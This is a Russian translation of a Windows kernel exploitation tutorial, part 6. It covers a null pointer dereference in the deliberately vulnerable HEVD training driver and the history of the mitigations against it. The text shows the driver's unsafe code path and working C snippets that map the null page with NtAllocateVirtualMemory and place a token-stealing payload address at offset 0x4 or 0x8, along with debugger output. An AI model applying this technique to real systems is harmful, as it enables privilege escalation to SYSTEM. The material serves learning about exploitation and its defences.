11.07.2018

Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 6 – Разыменование пустого указателя

image

Кучи представляют собой динамически выделяемые области памяти в отличие от стека, размер которого фиксирован.

Автор: Mohamed Shahat

Код эксплоита находится здесь.

Кучи (пулы) в режиме ядра

Кучи представляют собой динамически выделяемые области памяти в отличие от стека, размер которого фиксирован.

Кучи, размещаемые для компонентов в режиме ядра, называются пулами и делятся на два основных типа:

  • Невытесняемый пул (non-paged pool): эти пулы гарантировано находятся в оперативной памяти и в основном используются для хранения данных, к которым будет доступ во время аппаратного прерывания (в тот момент, когда система не может обрабатывать ошибки страниц памяти). Выделение подобной памяти выполняется через процедуру ExAllocatePoolWithTag.
  • Вытесняемый пул (paged pool): этот тип памяти может вытесняться внутрь и наружу файла подкачки, который обычно располагается в корневой директории Windows (например, C:\pagefile.sys).

Выделение такой памяти выполняется через процедуру ExAllocatePoolWithTag с указанием типа пула (параметр poolType) и 4-байтового «тега».

Для мониторинга выделений пулов можно пользоваться утилитой poolmon.

Если вы хотите поглубже вникнуть в тему, связанную с пулами, рекомендую ознакомиться со статьей «Pushing the Limits of Windows: Paged and Nonpaged Pool» (и всеми остальными частями из данной серии тоже).

Суть уязвимости

Код находится здесь.

NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;

PAGED_CODE();

__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)__alignof(NULL_POINTER_DEREFERENCE));

// Allocate Pool chunk
NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
ExAllocatePoolWithTag(NonPagedPool,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)POOL_TAG);

if (!NullPointerDereference) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");

Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
}

// Get the value from user mode
UserValue = *(PULONG)UserBuffer;

DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);

// Validate the magic value
if (UserValue == MagicValue) {
NullPointerDereference->Value = UserValue;
NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
}
else {
DbgPrint("[+] Freeing NullPointerDereference Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

// Free the allocated Pool chunk
ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

// Set to NULL to avoid dangling pointer
NullPointerDereference = NULL;
}

#ifdef SECURE
// Secure Note: This is secure because the developer is checking if
// 'NullPointerDereference' is not NULL before calling the callback function
if (NullPointerDereference) {
NullPointerDereference->Callback();
}
#else
DbgPrint("[+] Triggering Null Pointer Dereference\n");

// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
// because the developer is not validating if 'NullPointerDereference' is NULL
// before calling the callback function
NullPointerDereference->Callback();
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

Невытесняемая память пула выделяется равной размеру структуры NULL_POINTER_DEREFERENCE вместе с 4-байтовым тегом kcaH. Структура содержит два поля:

typedef struct _NULL_POINTER_DEREFERENCE {
ULONG Value;
FunctionPointer Callback;
} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;

В системах x86 структура занимает 8 байт и содержит указатель функции. Если пользовательский буфер содержит MagicValue, указатель функции NullPointerDereference->Callback будет указывать на функцию NullPointerDereferenceObjectCallback. Но что произойдет, если мы не будет передавать это значение?

В этом случае память пула освобождается и структуре NullPointerDereference присваивается значение NULL, чтобы избежать повисшего указателя. Однако этот трюк допустим только, если присутствует проверка, которую нужно делать каждый раз, когда вы используете данный указатель. Если просто установить значение NULL и не выполнять никаких проверок, то, как будет показано дальше, последствия могут быть печальны. В нашем случае функция Callback вызывается без проверки на предмет нахождения внутри корректной структуры. В итоге все заканчивается чтением с пустой страницы (первых 64 Кбайт), которая находится в пространстве пользователя.

То есть NullPointerDereference представляет собой структуру по адресу 0x00000000, и NullPointerDereference->Callback() вызывает то, что находится по адресу 0x00000004.

Схема эксплуатации данной фитчи выглядит следующим образом:

  • Выделяем пустую страницу.
  • Размещаем адрес полезной нагрузки по адресу 0x4.
  • Инициируем разыменование пустой страницы через IOCTL драйвера.

Краткая история защит от уязвимостей, связанных с разыменованием пустой страницы

Прежде чем продолжить, рассмотрим, что уже предпринималось разработчиками Windows для предотвращения атак с использованием уязвимостей, связанных с разыменованием пустого указателя.

  • EMET (Enhanced Mitigation Experience Toolkit) – средство защиты в том числе от атак на базе разыменования пустой страницы. После выделения на пустую страницу ставится пометка «NOACCESS». На данный момент EMET не используется, а некоторые функции этой утилиты встроены в Windows 10 и являются частью системы защиты от эксплоитов.
  • Начиная с Windows 8, выделение первых 64 Кбайт запрещено. Единственное исключение – если разрешен компонент NTVDM, который по умолчанию отключен.

То есть в Windows 10 эту уязвимость эксплуатировать не получится. Если хотите попробовать, нужно включить NTVDM, после чего потребуется обход SMEP (см. четвертую часть).

Статьи, рекомендованные для изучения:

Выделение пустой страницы

Перед началом взаимодействия с драйвером нам нужно выделить пустую страницу и разместить адрес полезной нагрузки по адресу 0x4. Выделить пустую страницу через VirtualAllocEx не получится. Альтернативный вариант: нахождение адреса функции NtAllocateVirtualMemory в ntdll.dll и передача небольшого ненулевого базового адреса, который будет округлен до значения NULL.

Чтобы найти адрес вышеуказанной функции, вначале мы будем использовать GetModuleHandle для получения адреса ntdll.dll, а затем GetProcAddress для получения адреса процесса.

typedef NTSTATUS(WINAPI *ptrNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);

ptrNtAllocateVirtualMemory NtAllocateVirtualMemory = (ptrNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[-] Failed to export NtAllocateVirtualMemory.");
exit(-1);
}

Затем нужно выделить пустую страницу:

// Copied and modified from http://www.rohitab.com/discuss/topic/34884-c-small-hax-to-avoid-crashing-ur-prog/
LPVOID baseAddress = (LPVOID)0x1;
ULONG allocSize = 0x1000;
char* uBuffer = (char*)NtAllocateVirtualMemory(
GetCurrentProcess(),
&baseAddress, // Putting a small non-zero value gets rounded down to page granularity, pointing to the NULL page
0,
&allocSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

Чтобы проверить работоспособность метода, размещаем функцию DebugBreak и проверяем содержимое памяти после записи какого-либо значения.
DebugBreak();
*(INT_PTR*)uBuffer = 0xaabbccdd;
kd> t
KERNELBASE!DebugBreak+0x3:
001b:7531492f ret

kd> ? @esi
Evaluate expression: 0 = 00000000

kd> t
HEVD!main+0x1a4:
001b:002e11e4 mov dword ptr [esi],0AABBCCDDh

kd> t
HEVD!main+0x1aa:
001b:002e11ea movsx ecx,byte ptr [esi]

kd> dd 0
00000000 aabbccdd 00000000 00000000 00000000
00000010 00000000 00000000 00000000 00000000
00000020 00000000 00000000 00000000 00000000
00000030 00000000 00000000 00000000 00000000
00000040 00000000 00000000 00000000 00000000
00000050 00000000 00000000 00000000 00000000
00000060 00000000 00000000 00000000 00000000
00000070 00000000 00000000 00000000 00000000

Прекрасный способ проверить, выделена ли пустая страница – вызывать VirtualProtect, которая запрашивает/устанавливает защитные флаги на страницы памяти. Если функция VirtualProtect возвращает false, значит, пустая страница не выделена.

Контроль потока выполнения

Теперь нам нужно разместить адрес полезной нагрузки по адресу 0x00000004:

*(INT_PTR*)(uBuffer + 4) = (INT_PTR)&StealToken;

Создаем буфер для отсылки драйверу и устанавливаем точку останова по адресу HEVD!TriggerNullPointerDereference + 0x114.
kd> dd 0
00000000 00000000 0107129c 00000000 00000000
00000010 00000000 00000000 00000000 00000000
00000020 00000000 00000000 00000000 00000000
00000030 00000000 00000000 00000000 00000000
00000040 00000000 00000000 00000000 00000000
00000050 00000000 00000000 00000000 00000000
00000060 00000000 00000000 00000000 00000000
00000070 00000000 00000000 00000000 00000000

После запуска полезной нагрузки и кражи токена инструкция ret выполняется, и корректировка стека не требуется.


Рисунок 1: Демонстрация работы эксплоита

Портирование эксплоита для Windows 7 x64

Чтобы эксплоит заработал в системе Windows 7 x64 нужно поменять смещение, по которому будет записываться адрес полезной нагрузки, поскольку размер структуры становится 16 байт. Кроме того, не забудьте выгрузить полезную нагрузку.

*(INT_PTR*)(uBuffer + 8) = (INT_PTR)&StealToken;


comments powered by Disqus